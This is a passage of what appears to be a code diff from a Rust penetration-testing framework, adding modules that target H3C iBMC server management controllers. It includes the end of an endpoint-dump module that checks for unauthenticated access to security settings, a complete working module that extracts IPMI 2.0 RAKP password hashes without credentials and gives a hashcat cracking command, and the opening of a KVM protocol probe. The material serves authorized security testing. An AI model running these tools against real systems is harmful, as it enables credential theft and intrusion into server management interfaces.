if !status.is_success() {
crate::mprintln!("{}", format!(" [~] HTTP {}{}", status.as_u16(), label).dimmed());
denied.push(label);
continue;
}
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
Err(e) => {
crate::mprintln!("{}", format!(" [-] Body decode failed: {}", e).red());
continue;
}
};
let json: serde_json::Value = match serde_json::from_str(&body) {
Ok(v) => v,
Err(_) => {
crate::mprintln!("{}", format!(" [+] HTTP 200 but non-JSON response ({} bytes)", body.len()).yellow());
accessible.push((label, body));
continue;
}
};
crate::mprintln!("{}", format!(" [+] HTTP 200 — {} accessible!", label).green().bold());
display_endpoint_details(path, label, &json);
if verbose {
crate::mprintln!("{}", " ── raw JSON ──".bold());
let pretty = serde_json::to_string_pretty(&json).unwrap_or_default();
for line in pretty.lines() {
crate::mprintln!(" {}", line.dimmed());
}
}
accessible.push((label, body));
outcome.findings.push(Finding {
target: host.clone(),
kind: if authenticated { FindingKind::Note } else { FindingKind::Vulnerable },
message: format!(
"{} exposed on H3C iBMC at {}:{} ({})",
label,
host,
port,
if authenticated { "authenticated" } else { "UNAUTHENTICATED" },
),
data: Some(serde_json::json!({
"host": host,
"port": port,
"endpoint": path,
"label": label,
"authenticated": authenticated,
})),
});
crate::mprintln!();
}
// ── Security posture summary ──
crate::mprintln!();
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ Security Posture Summary ║".cyan().bold());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
crate::mprintln!("{}", format!(
" Endpoints accessible : {}/{}",
accessible.len(),
SECURITY_ENDPOINTS.len(),
).green().bold());
crate::mprintln!("{}", format!(
" Endpoints denied : {}/{}",
denied.len(),
SECURITY_ENDPOINTS.len(),
).dimmed());
crate::mprintln!("{}", format!(
" Authentication mode : {}",
if authenticated { "X-Auth-Token" } else { "NONE (unauthenticated)" },
).yellow());
crate::mprintln!();
if !accessible.is_empty() {
crate::mprintln!("{}", " Accessible endpoints:".green());
for (label, _) in &accessible {
crate::mprintln!("{}", format!(" [+] {}", label).green());
}
}
if !denied.is_empty() {
crate::mprintln!("{}", " Denied endpoints:".dimmed());
for label in &denied {
crate::mprintln!("{}", format!(" [-] {}", label).dimmed());
}
}
crate::mprintln!();
if !authenticated && !accessible.is_empty() {
crate::mprintln!("{}", "[!] CRITICAL: BMC security endpoints accessible WITHOUT authentication!".red().bold());
crate::mprintln!("{}", " This indicates broken access control on the Redfish OEM API.".red());
crate::mprintln!("{}", " An attacker can enumerate the full defense posture pre-auth.".red());
} else if accessible.is_empty() {
crate::mprintln!("{}", "[+] No security endpoints were accessible — ACLs appear intact.".green());
}
Ok(outcome)
}
fn build_client(authenticated: bool, token: &str) -> Result<reqwest::Client> {
let mut headers = reqwest::header::HeaderMap::new();
if authenticated {
headers.insert(
"X-Auth-Token",
reqwest::header::HeaderValue::from_str(token.trim())
.context("invalid X-Auth-Token value")?,
);
headers.insert(
reqwest::header::COOKIE,
reqwest::header::HeaderValue::from_static("RSAIndex=7"),
);
headers.insert(
"Request-Via",
reqwest::header::HeaderValue::from_static("WEB"),
);
}
let opts = HttpClientOpts {
user_agent: Some("h3c-bmc-firewall-dump/1.0".to_string()),
default_headers: if headers.is_empty() { None } else { Some(headers) },
accept_invalid_certs: true,
accept_invalid_hostnames: true,
..HttpClientOpts::permissive()
};
build_http_client_with(Duration::from_secs(REQUEST_TIMEOUT_SECS), opts)
.context("failed to build HTTP client")
}
/// Display extracted security-relevant fields for a specific endpoint.
fn display_endpoint_details(path: &str, _label: &str, json: &serde_json::Value) {
if path.contains("FirewallRules") {
display_firewall_rules(json);
} else if path.contains("SystemLockResource") {
display_system_lock(json);
} else if path.contains("SecurityDashboard") {
display_security_dashboard(json);
} else if path.contains("LoginSecurityInformation") {
display_login_security(json);
} else if path.contains("NetworkProtocol") {
display_network_protocol(json);
} else if path.contains("SOLMode") {
display_sol_mode(json);
} else if path.contains("KvmService") {
display_kvm_service(json);
} else if path.contains("VncService") {
display_vnc_service(json);
} else if path.contains("SnmpService") {
display_snmp_service(json);
} else if path.contains("SyslogService") {
display_syslog_service(json);
} else if path.contains("SmtpService") {
display_smtp_service(json);
} else if path.contains("USBDeviceService") {
display_usb_service(json);
} else if path.contains("AccountService") {
display_account_service(json);
}
}
fn display_firewall_rules(json: &serde_json::Value) {
// H3C structures rules under "Members" or "FirewallRules" array
let rules = json.get("Members")
.or_else(|| json.get("FirewallRules"))
.or_else(|| json.get("Rules"));
if let Some(serde_json::Value::Array(arr)) = rules {
crate::mprintln!("{}", format!(" Firewall rules ({} total):", arr.len()).yellow());
for (i, rule) in arr.iter().enumerate() {
let action = extract_str(rule, "Action").unwrap_or("-");
let protocol = extract_str(rule, "Protocol").unwrap_or("-");
let src = extract_str(rule, "SourceAddress")
.or_else(|| extract_str(rule, "Source"))
.unwrap_or("*");
let dst = extract_str(rule, "DestinationAddress")
.or_else(|| extract_str(rule, "Destination"))
.unwrap_or("*");
let port = extract_str(rule, "DestinationPort")
.or_else(|| extract_str(rule, "Port"))
.unwrap_or("*");
let enabled = rule.get("Enabled")
.and_then(|v| v.as_bool())
.map(|b| if b { "enabled" } else { "disabled" })
.unwrap_or("?");
crate::mprintln!("{}", format!(
" Rule {:>2}: {} {} {} -> {}:{} [{}]",
i + 1, action, protocol, src, dst, port, enabled
).white());
}
} else {
// Flat structure — dump top-level boolean/string fields
dump_key_fields(json, &[
"DefaultFirewallPolicy", "FirewallEnabled", "Enabled",
"DefaultAction", "Status",
]);
}
}
fn display_system_lock(json: &serde_json::Value) {
dump_key_fields(json, &[
"BMCLockEnabled", "BIOSLockEnabled", "OSLockEnabled",
"SystemLockEnabled", "OverallLockState", "LockDownEnabled",
]);
}
fn display_security_dashboard(json: &serde_json::Value) {
dump_key_fields(json, &[
"OverallSecurityStatus", "SecurityScore", "RiskLevel",
"UnsecureProtocols", "WeakPasswords", "CertificateExpiry",
"SecurityMode", "LastAuditTime",
]);
// If there is a nested "Items" or "SecurityItems" array, enumerate
if let Some(serde_json::Value::Array(items)) = json.get("Items")
.or_else(|| json.get("SecurityItems"))
{
for item in items {
let name = extract_str(item, "Name").unwrap_or("?");
let status = extract_str(item, "Status")
.or_else(|| extract_str(item, "Result"))
.unwrap_or("?");
let suggestion = extract_str(item, "Suggestion").unwrap_or("");
crate::mprintln!("{}", format!(" {} : {} {}", name, status, suggestion).white());
}
}
}
fn display_login_security(json: &serde_json::Value) {
dump_key_fields(json, &[
"AccountLockoutThreshold", "AccountLockoutDuration",
"InactiveAccountTimeout", "LoginFailedTimes",
"PasswordComplexityCheckEnabled", "MinimumPasswordAge",
"LoginBannerEnabled", "LoginBannerContent",
]);
}
fn display_network_protocol(json: &serde_json::Value) {
let services = [
"HTTP", "HTTPS", "SSH", "IPMI", "SNMP", "KVMIP",
"VirtualMedia", "SSDP", "Telnet", "NTP",
];
crate::mprintln!("{}", " Network services:".yellow());
for svc_name in &services {
if let Some(svc) = json.get(*svc_name) {
let enabled = svc.get("ProtocolEnabled")
.or_else(|| svc.get("Enabled"))
.and_then(|v| v.as_bool())
.map(|b| if b { "ENABLED" } else { "disabled" })
.unwrap_or("?");
let port = svc.get("Port")
.and_then(|v| v.as_u64())
.map(|p| p.to_string())
.unwrap_or_else(|| "-".to_string());
let color = if enabled == "ENABLED" { format!(" {:>14} : port {:>5} [{}]", svc_name, port, enabled).yellow() }
else { format!(" {:>14} : port {:>5} [{}]", svc_name, port, enabled).dimmed() };
crate::mprintln!("{}", color);
}
}
}
fn display_sol_mode(json: &serde_json::Value) {
dump_key_fields(json, &[
"SOLEnabled", "Enabled", "BaudRate", "RetryCount",
"RetryIntervalMS", "State",
]);
}
fn display_kvm_service(json: &serde_json::Value) {
dump_key_fields(json, &[
"MaximumNumberOfSessions", "NumberOfActiveSessions",
"EncryptionEnabled", "Port", "Enabled",
"SSLEncryptionEnabled", "SessionTimeoutMinutes",
]);
}
fn display_vnc_service(json: &serde_json::Value) {
dump_key_fields(json, &[
"MaximumNumberOfSessions", "NumberOfActiveSessions",
"EncryptionEnabled", "Port", "Enabled",
"SSLPort", "PermitRuleEnabled", "SessionTimeoutMinutes",
]);
}
fn display_snmp_service(json: &serde_json::Value) {
dump_key_fields(json, &[
"Enabled", "Port", "SNMPVersion", "ReadOnlyCommunity",
"ReadWriteCommunity", "TrapEnabled", "TrapServer",
"V3AuthProtocol", "V3PrivProtocol",
]);
}
fn display_syslog_service(json: &serde_json::Value) {
dump_key_fields(json, &[
"Enabled", "ServerAddress", "Port", "Protocol",
"Severity", "TransmissionProtocol",
]);
}
fn display_smtp_service(json: &serde_json::Value) {
dump_key_fields(json, &[
"Enabled", "ServerAddress", "Port", "TLSEnabled",
"SenderAddress", "SenderUserName", "Anonymous",
"EmailSubjectKeyword",
]);
}
fn display_usb_service(json: &serde_json::Value) {
dump_key_fields(json, &[
"USBDeviceEnabled", "Enabled", "VirtualMediaEnabled",
"USBMassStorageEnabled", "USBPort",
]);
}
fn display_account_service(json: &serde_json::Value) {
dump_key_fields(json, &[
"AccountLockoutThreshold", "AccountLockoutDuration",
"AccountLockoutCounterResetAfter", "MaxPasswordLength",
"MinPasswordLength", "AuthFailureLoggingThreshold",
"ServiceEnabled",
]);
}
/// Helper: extract a `&str` from a JSON value by key.
fn extract_str<'a>(v: &'a serde_json::Value, key: &str) -> Option<&'a str> {
v.get(key).and_then(|v| v.as_str())
}
/// Helper: for a list of known keys, print any that exist in the JSON object.
fn dump_key_fields(json: &serde_json::Value, keys: &[&str]) {
for key in keys {
if let Some(val) = json.get(*key) {
let display = match val {
serde_json::Value::String(s) => s.clone(),
serde_json::Value::Bool(b) => b.to_string(),
serde_json::Value::Number(n) => n.to_string(),
serde_json::Value::Null => "null".to_string(),
other => other.to_string(),
};
crate::mprintln!("{}", format!(" {:>36} : {}", key, display).white());
}
}
}
fn sanitize_host(target: &str) -> String {
let mut t = target.trim().to_string();
for prefix in &["https://", "http://", "ws://", "wss://"] {
if let Some(stripped) = t.strip_prefix(prefix) {
t = stripped.to_string();
break;
}
}
if let Some(slash) = t.find('/') { t.truncate(slash); }
if let Some(colon) = t.find(':') { t.truncate(colon); }
t
}
#[allow(dead_code)]
fn strip_scheme(url: &str) -> &str {
for prefix in &["https://", "http://", "ws://", "wss://"] {
if let Some(rest) = url.strip_prefix(prefix) {
return rest;
}
}
url
}
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/h3c_bmc/h3c_bmc_firewall_dump", native);
@@ -0,0 +1,622 @@
//! H3C iBMC IPMI 2.0 RAKP Authentication Hash Extraction
//!
//! Implements the IPMI 2.0 RAKP (Remote Authenticated Key-Exchange Protocol)
//! handshake against H3C iBMC baseboard management controllers to extract
//! password hashes **without valid credentials**.
//!
//! ## How It Works
//!
//! IPMI 2.0 authentication (RAKP) has a fundamental design flaw: during the
//! handshake the BMC reveals an HMAC-SHA1 keyed hash of the user's password
//! before verifying the client knows it. An attacker who can reach UDP/623
//! can therefore harvest hashes for any valid username and crack them offline.
//!
//! Protocol flow:
//! 1. Client -> BMC: RMCP+ Open Session Request (payload type 0x10)
//! 2. BMC -> Client: Open Session Response (payload type 0x11)
//! 3. Client -> BMC: RAKP Message 1 (payload type 0x12)
//! 4. BMC -> Client: RAKP Message 2 (payload type 0x13)
//! -> contains HMAC-SHA1(password, challenge_data)
//!
//! The extracted hash is formatted for **hashcat mode 7300** (IPMI2 RAKP
//! HMAC-SHA1) and can be cracked with:
//!
//! hashcat -m 7300 hash.txt wordlist.txt
//!
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{Context, Result};
use colored::*;
use rand::{Rng, RngExt};
use std::time::Duration;
use tokio::net::UdpSocket;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_int_range};
const DEFAULT_PORT: u16 = 623;
const UDP_TIMEOUT_SECS: u64 = 5;
// ---------------------------------------------------------------------------
// RMCP / IPMI 2.0 constants
// ---------------------------------------------------------------------------
/// RMCP header: version 0x06, reserved 0x00, sequence 0xff, class 0x07 (IPMI)
const RMCP_HEADER: [u8; 4] = [0x06, 0x00, 0xff, 0x07];
/// Authentication type for RMCP+ / IPMI 2.0
const AUTH_TYPE_RMCPP: u8 = 0x06;
/// Payload types
const PAYLOAD_OPEN_SESSION_REQ: u8 = 0x10;
const PAYLOAD_OPEN_SESSION_RSP: u8 = 0x11;
const PAYLOAD_RAKP1: u8 = 0x12;
const PAYLOAD_RAKP2: u8 = 0x13;
/// RAKP Message 2 HMAC-SHA1 length
const HMAC_SHA1_LEN: usize = 20;
// ---------------------------------------------------------------------------
// Banner
// ---------------------------------------------------------------------------
fn display_banner() {
if crate::utils::is_batch_mode() {
return;
}
crate::mprintln!(
"{}",
"╔══════════════════════════════════════════════════════════════╗".red()
);
crate::mprintln!(
"{}",
"║ H3C iBMC IPMI 2.0 RAKP Authentication Hash Extraction ║"
.red()
.bold()
);
crate::mprintln!(
"{}",
"║ Extracts HMAC-SHA1 password hashes via RAKP handshake ║".red()
);
crate::mprintln!(
"{}",
"║ Crack with: hashcat -m 7300 hash.txt wordlist.txt ║".red()
);
crate::mprintln!(
"{}",
"║ FOR AUTHORIZED TESTING ONLY ║".red()
);
crate::mprintln!(
"{}",
"╚══════════════════════════════════════════════════════════════╝".red()
);
crate::mprintln!();
}
// ---------------------------------------------------------------------------
// Module metadata
// ---------------------------------------------------------------------------
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "H3C iBMC IPMI 2.0 RAKP Hash Dump".to_string(),
description: "Extracts IPMI 2.0 RAKP HMAC-SHA1 password hashes from H3C iBMC \
baseboard management controllers without valid credentials. The \
RAKP handshake reveals an HMAC of the user password before the \
client proves knowledge of it, allowing offline cracking with \
hashcat mode 7300."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.intel.com/content/www/us/en/servers/ipmi/ipmi-home.html".to_string(),
"https://hashcat.net/wiki/doku.php?id=example_hashes".to_string(),
"https://book.hacktricks.xyz/network-services-pentesting/623-udp-ipmi".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Excellent,
default_port: None,
}
}
// ---------------------------------------------------------------------------
// Entry point
// ---------------------------------------------------------------------------
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("module requires a single-host target")?;
display_banner();
let host = sanitize_host(target);
let port = cfg_prompt_int_range("port", "IPMI UDP port", DEFAULT_PORT as i64, 1, 65535)
.await? as u16;
let usernames_raw = cfg_prompt_default(
"usernames",
"Comma-separated usernames to try",
"admin,Administrator,root,operator",
)
.await?;
let timeout_secs =
cfg_prompt_int_range("timeout", "Per-request UDP timeout (seconds)", UDP_TIMEOUT_SECS as i64, 1, 30)
.await? as u64;
let usernames: Vec<&str> = usernames_raw.split(',').map(|s| s.trim()).filter(|s| !s.is_empty()).collect();
crate::mprintln!(
"{}",
format!(
"[*] Target: {}:{} | Users: {} | Timeout: {}s",
host,
port,
usernames.join(", "),
timeout_secs
)
.cyan()
);
crate::mprintln!();
let mut outcome = ModuleOutcome::ok();
let mut extracted: Vec<(String, String)> = Vec::new();
for username in &usernames {
ctx.rate_limit(&host).await;
crate::mprintln!(
"{}",
format!("[*] Trying username: {}", username).cyan()
);
match try_rakp_handshake(&host, port, username, timeout_secs).await {
Ok(Some(hash_line)) => {
crate::mprintln!(
"{}",
format!("[+] Hash extracted for user '{}' !", username)
.green()
.bold()
);
crate::mprintln!(
"{}",
format!(" {}", hash_line).yellow()
);
extracted.push((username.to_string(), hash_line.clone()));
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"IPMI 2.0 RAKP hash extracted for user '{}' on {}:{}",
username, host, port
),
data: Some(serde_json::json!({
"host": host,
"port": port,
"username": username,
"hashcat_mode": 7300,
"hash": hash_line,
})),
});
}
Ok(None) => {
crate::mprintln!(
"{}",
format!("[-] No hash returned for user '{}'", username).dimmed()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!("[!] Error for user '{}': {}", username, e).red()
);
}
}
}
// Summary
crate::mprintln!();
if extracted.is_empty() {
crate::mprintln!(
"{}",
"[-] No hashes were extracted. The target may not be running IPMI or usernames are invalid."
.yellow()
);
} else {
crate::mprintln!(
"{}",
"══════════════════════════════════════════════════════════════"
.green()
);
crate::mprintln!(
"{}",
format!("[+] Extracted {} hash(es):", extracted.len())
.green()
.bold()
);
crate::mprintln!(
"{}",
"══════════════════════════════════════════════════════════════"
.green()
);
for (user, hash) in &extracted {
crate::mprintln!(
"{}",
format!(" {} -> {}", user, hash).yellow()
);
}
crate::mprintln!();
crate::mprintln!(
"{}",
"[*] Crack with: hashcat -m 7300 hashes.txt wordlist.txt".cyan()
);
}
Ok(outcome)
}
// ---------------------------------------------------------------------------
// RAKP handshake implementation
// ---------------------------------------------------------------------------
/// Attempt the full RMCP+ Open Session + RAKP 1/2 handshake for a single
/// username. Returns `Ok(Some(hashcat_line))` on success, `Ok(None)` if the
/// BMC rejects the username (non-zero status), or `Err` on network failure.
async fn try_rakp_handshake(
host: &str,
port: u16,
username: &str,
timeout_secs: u64,
) -> Result<Option<String>> {
let addr = format!("{}:{}", host, port);
let timeout_dur = Duration::from_secs(timeout_secs);
// Bind to an ephemeral local UDP port.
let sock = UdpSocket::bind("0.0.0.0:0")
.await
.context("failed to bind UDP socket")?;
sock.connect(&addr)
.await
.with_context(|| format!("failed to connect UDP socket to {}", addr))?;
// Use `rand::rng()` inline at each call site rather than binding a
// `ThreadRng`: ThreadRng is `!Send`, and holding it across the `.await`s
// below would make the whole module future non-Send (matches the pattern
// in the sibling h3c_websocket_dump module).
// ── Step 1: Open Session Request ──────────────────────────────────────
let message_tag: u8 = rand::rng().random();
let mut console_session_id = [0u8; 4];
rand::rng().fill_bytes(&mut console_session_id);
let open_session_req = build_open_session_request(message_tag, &console_session_id);
sock.send(&open_session_req).await.context("send Open Session Request")?;
// ── Step 2: Open Session Response ─────────────────────────────────────
let mut buf = [0u8; 1024];
let n = tokio::time::timeout(timeout_dur, sock.recv(&mut buf))
.await
.context("Open Session Response timed out")?
.context("recv Open Session Response")?;
let rsp = &buf[..n];
let managed_session_id = parse_open_session_response(rsp)?;
let managed_session_id = match managed_session_id {
Some(id) => id,
None => return Ok(None),
};
// ── Step 3: RAKP Message 1 ────────────────────────────────────────────
let mut console_random = [0u8; 16];
rand::rng().fill_bytes(&mut console_random);
let rakp1 = build_rakp_message_1(
message_tag,
&managed_session_id,
&console_random,
username,
);
sock.send(&rakp1).await.context("send RAKP Message 1")?;
// ── Step 4: RAKP Message 2 ────────────────────────────────────────────
let n = tokio::time::timeout(timeout_dur, sock.recv(&mut buf))
.await
.context("RAKP Message 2 timed out")?
.context("recv RAKP Message 2")?;
let rsp = &buf[..n];
let hash_line = parse_rakp_message_2(
rsp,
&console_random,
&managed_session_id,
username,
)?;
Ok(hash_line)
}
// ---------------------------------------------------------------------------
// Packet builders
// ---------------------------------------------------------------------------
/// Build the full RMCP + IPMI 2.0 Open Session Request packet.
fn build_open_session_request(tag: u8, console_session_id: &[u8; 4]) -> Vec<u8> {
// --- Payload ---
let mut payload = Vec::with_capacity(32);
payload.push(tag); // message tag
payload.push(0x04); // max privilege: Administrator
payload.extend_from_slice(&[0x00, 0x00]); // reserved
payload.extend_from_slice(console_session_id); // remote console session ID
// Authentication payload
payload.push(0x00); // payload type 0 = authentication algorithm
payload.extend_from_slice(&[0x00, 0x00, 0x00]); // reserved
payload.push(0x08); // payload length
payload.push(0x01); // algorithm: HMAC-SHA1
payload.extend_from_slice(&[0x00, 0x00, 0x00]); // reserved
// Integrity payload
payload.push(0x01); // payload type 1 = integrity algorithm
payload.extend_from_slice(&[0x00, 0x00, 0x00]); // reserved
payload.push(0x08); // payload length
payload.push(0x01); // algorithm: HMAC-SHA1-96
payload.extend_from_slice(&[0x00, 0x00, 0x00]); // reserved
// Confidentiality payload
payload.push(0x02); // payload type 2 = confidentiality algorithm
payload.extend_from_slice(&[0x00, 0x00, 0x00]); // reserved
payload.push(0x08); // payload length
payload.push(0x00); // algorithm: None
payload.extend_from_slice(&[0x00, 0x00, 0x00]); // reserved
wrap_rmcpp(PAYLOAD_OPEN_SESSION_REQ, &[0u8; 4], &payload)
}
/// Build the full RMCP + IPMI 2.0 RAKP Message 1 packet.
fn build_rakp_message_1(
tag: u8,
managed_session_id: &[u8; 4],
console_random: &[u8; 16],
username: &str,
) -> Vec<u8> {
let user_bytes = username.as_bytes();
let user_len = user_bytes.len().min(255) as u8;
let mut payload = Vec::with_capacity(28 + user_len as usize);
payload.push(tag); // message tag
payload.extend_from_slice(&[0x00, 0x00, 0x00]); // reserved
payload.extend_from_slice(managed_session_id); // managed system session ID
payload.extend_from_slice(console_random); // remote console random number (16 bytes)
payload.push(0x14); // role: name-only lookup (0x10) | Administrator (0x04)
payload.extend_from_slice(&[0x00, 0x00]); // reserved
payload.push(user_len); // username length
payload.extend_from_slice(&user_bytes[..user_len as usize]); // username
wrap_rmcpp(PAYLOAD_RAKP1, &[0u8; 4], &payload)
}
/// Wrap a payload in RMCP header + IPMI 2.0 session header.
fn wrap_rmcpp(payload_type: u8, session_id: &[u8; 4], payload: &[u8]) -> Vec<u8> {
let payload_len = payload.len() as u16;
let mut pkt = Vec::with_capacity(4 + 10 + payload.len());
// RMCP header
pkt.extend_from_slice(&RMCP_HEADER);
// IPMI session header (RMCP+ format)
pkt.push(AUTH_TYPE_RMCPP); // authentication type
pkt.push(payload_type); // payload type (unencrypted, unauthenticated)
pkt.extend_from_slice(session_id); // session ID (0 for pre-session)
pkt.extend_from_slice(&[0x00; 4]); // session sequence number
pkt.extend_from_slice(&payload_len.to_le_bytes()); // payload length (LE)
// Payload
pkt.extend_from_slice(payload);
pkt
}
// ---------------------------------------------------------------------------
// Response parsers
// ---------------------------------------------------------------------------
/// Parse Open Session Response. Returns the managed system session ID on
/// success, `None` if the BMC rejected the request (non-zero status code).
fn parse_open_session_response(data: &[u8]) -> Result<Option<[u8; 4]>> {
// Minimum: RMCP(4) + session header(10) + payload(>=12)
if data.len() < 26 {
anyhow::bail!(
"Open Session Response too short ({} bytes, need >= 26)",
data.len()
);
}
// Verify RMCP header
if data[0..4] != RMCP_HEADER {
anyhow::bail!("invalid RMCP header in Open Session Response");
}
// Session header starts at offset 4.
let auth_type = data[4];
if auth_type != AUTH_TYPE_RMCPP {
anyhow::bail!(
"unexpected auth type 0x{:02x} (expected 0x{:02x})",
auth_type,
AUTH_TYPE_RMCPP
);
}
let ptype = data[5] & 0x3f; // mask off encrypted/authenticated bits
if ptype != PAYLOAD_OPEN_SESSION_RSP {
anyhow::bail!(
"unexpected payload type 0x{:02x} (expected 0x{:02x})",
ptype,
PAYLOAD_OPEN_SESSION_RSP
);
}
// Payload starts at offset 14 (4 RMCP + 10 session header).
let payload = &data[14..];
if payload.len() < 12 {
anyhow::bail!("Open Session Response payload too short");
}
// payload[1] = status code (0 = success)
let status = payload[1];
if status != 0x00 {
tracing::debug!("Open Session Response status code: 0x{:02x}", status);
return Ok(None);
}
// payload[4..8] = remote console session ID (echo)
// payload[8..12] = managed system session ID
let mut managed_sid = [0u8; 4];
managed_sid.copy_from_slice(&payload[8..12]);
Ok(Some(managed_sid))
}
/// Parse RAKP Message 2. On success returns the hashcat 7300 formatted line.
/// Returns `None` if the BMC reported a non-zero status (e.g. invalid user).
fn parse_rakp_message_2(
data: &[u8],
console_random: &[u8; 16],
managed_session_id: &[u8; 4],
username: &str,
) -> Result<Option<String>> {
// Minimum: RMCP(4) + session header(10) + tag(1) + status(1) + reserved(2)
// + console_sid(4) + bmc_random(16) + bmc_guid(16) + hmac(20) = 74
if data.len() < 74 {
// Could be a short rejection (status != 0). Check if we have at least
// enough bytes for the status field.
if data.len() >= 16 {
let payload = &data[14..];
if !payload.is_empty() && payload.len() >= 2 {
let status = payload[1];
if status != 0x00 {
tracing::debug!("RAKP Message 2 rejected, status 0x{:02x}", status);
return Ok(None);
}
}
}
anyhow::bail!(
"RAKP Message 2 too short ({} bytes, need >= 74)",
data.len()
);
}
// Verify RMCP header
if data[0..4] != RMCP_HEADER {
anyhow::bail!("invalid RMCP header in RAKP Message 2");
}
let ptype = data[5] & 0x3f;
if ptype != PAYLOAD_RAKP2 {
anyhow::bail!(
"unexpected payload type 0x{:02x} (expected 0x{:02x})",
ptype,
PAYLOAD_RAKP2
);
}
let payload = &data[14..];
// payload[0] = message tag (echo)
// payload[1] = status code
let status = payload[1];
if status != 0x00 {
tracing::debug!("RAKP Message 2 status: 0x{:02x}", status);
return Ok(None);
}
// payload[2..4] = reserved
// payload[4..8] = remote console session ID (echo)
// payload[8..24] = managed system random number (16 bytes)
// payload[24..40] = managed system GUID (16 bytes)
// payload[40..60] = HMAC-SHA1 key exchange auth code (20 bytes)
if payload.len() < 60 {
anyhow::bail!(
"RAKP Message 2 payload too short ({} bytes, need >= 60)",
payload.len()
);
}
let bmc_random = &payload[8..24];
let bmc_guid = &payload[24..40];
// HMAC-SHA1 is the last 20 bytes of the payload
let hmac_offset = payload.len() - HMAC_SHA1_LEN;
let hmac_sha1 = &payload[hmac_offset..];
// Build the salt for hashcat mode 7300.
// salt = hex( console_random
// + managed_system_session_id
// + bmc_random
// + bmc_guid
// + role_byte
// + username_length
// + username )
let role_byte: u8 = 0x14;
let user_bytes = username.as_bytes();
// The salt encodes the username length in a single byte (hashcat mode 7300
// mirrors the RAKP wire format). `len() as u8` would silently truncate a
// username > 255 bytes, producing a length byte that disagrees with the
// appended username and therefore an uncrackable/wrong salt. A real IPMI
// username can't exceed 16 bytes, so anything past 255 is malformed input.
let user_len_byte = u8::try_from(user_bytes.len())
.map_err(|_| anyhow::anyhow!("IPMI username too long for RAKP salt: {} bytes (max 255)", user_bytes.len()))?;
let mut salt_raw = Vec::with_capacity(16 + 4 + 16 + 16 + 1 + 1 + user_bytes.len());
salt_raw.extend_from_slice(console_random);
salt_raw.extend_from_slice(managed_session_id);
salt_raw.extend_from_slice(bmc_random);
salt_raw.extend_from_slice(bmc_guid);
salt_raw.push(role_byte);
salt_raw.push(user_len_byte);
salt_raw.extend_from_slice(user_bytes);
let salt_hex = hex_encode(&salt_raw);
let hmac_hex = hex_encode(hmac_sha1);
// hashcat 7300 format: salt:hash
let hash_line = format!("{}:{}", salt_hex, hmac_hex);
Ok(Some(hash_line))
}
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
/// Encode bytes as lowercase hex string.
fn hex_encode(data: &[u8]) -> String {
let mut s = String::with_capacity(data.len() * 2);
for b in data {
s.push_str(&format!("{:02x}", b));
}
s
}
/// Strip URL scheme, path, and port from the target string to get a bare host.
fn sanitize_host(target: &str) -> String {
let mut t = target.trim().to_string();
for prefix in &["https://", "http://", "ws://", "wss://"] {
if let Some(stripped) = t.strip_prefix(prefix) {
t = stripped.to_string();
break;
}
}
if let Some(slash) = t.find('/') {
t.truncate(slash);
}
if let Some(colon) = t.find(':') {
t.truncate(colon);
}
t
}
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/h3c_bmc/h3c_ipmi_hash_dump", native);
@@ -0,0 +1,616 @@
//! H3C iBMC H5 KVM binary protocol probe.
//!
//! H3C BMCs based on AMI AST firmware expose a custom binary KVM protocol
//! on TCP port 7582 (TLS-encrypted) and optionally port 7578 (plaintext,
//! usually disabled). The handshake begins with the 8-byte magic
//! `53 00 00 00 00 00 00 00` (ASCII 'S' + 7 NULs), followed by an 8-byte
//! header encoding a protocol version (0x17) and an opcode (0x0200), and
//! an optional 32-byte payload carrying a device serial number.
//!
//! This module sends three increasingly-complete probe packets to a
//! configurable set of ports, first over TLS then over plaintext, and
//! parses the response to extract:
//!
//! - Whether the port speaks the H3C KVM protocol at all
//! - Transport type (TLS vs plaintext)
//! - Protocol version advertised in the response
//! - Session / capability flags
//! - Any device identifier or serial number leaked in the handshake
//!
//! The probe is non-destructive — it never authenticates or opens a real
//! KVM session.
//!
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{
cfg_prompt_default,
cfg_prompt_int_range,
cfg_prompt_yes_no,
};
// ---------------------------------------------------------------------------
// Protocol constants
// ---------------------------------------------------------------------------
/// 8-byte magic: ASCII 'S' followed by 7 NUL bytes.
const MAGIC_PROBE: &[u8] = &[0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00];
/// 16-byte minimal message: magic + version/opcode header.
const MINIMAL_MSG: &[u8] = &[
0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // magic
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, // header: version 0x17, opcode 0x0200
];
const DEFAULT_PORTS: &[u16] = &[7582, 7578];
const DEFAULT_TIMEOUT_MS: u64 = 5_000;
const DEFAULT_SERIAL: &str = "AAAABBBBCCCCDDDDEEEE";
// ---------------------------------------------------------------------------
// Banner
// ---------------------------------------------------------------------------
fn display_banner() {
if crate::utils::is_batch_mode() {
return;
}
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
crate::mprintln!("{}", "║ H3C iBMC H5 KVM Protocol Probe ║".red());
crate::mprintln!("{}", "║ Fingerprints binary KVM service on 7582 (TLS) / 7578 ║".red());
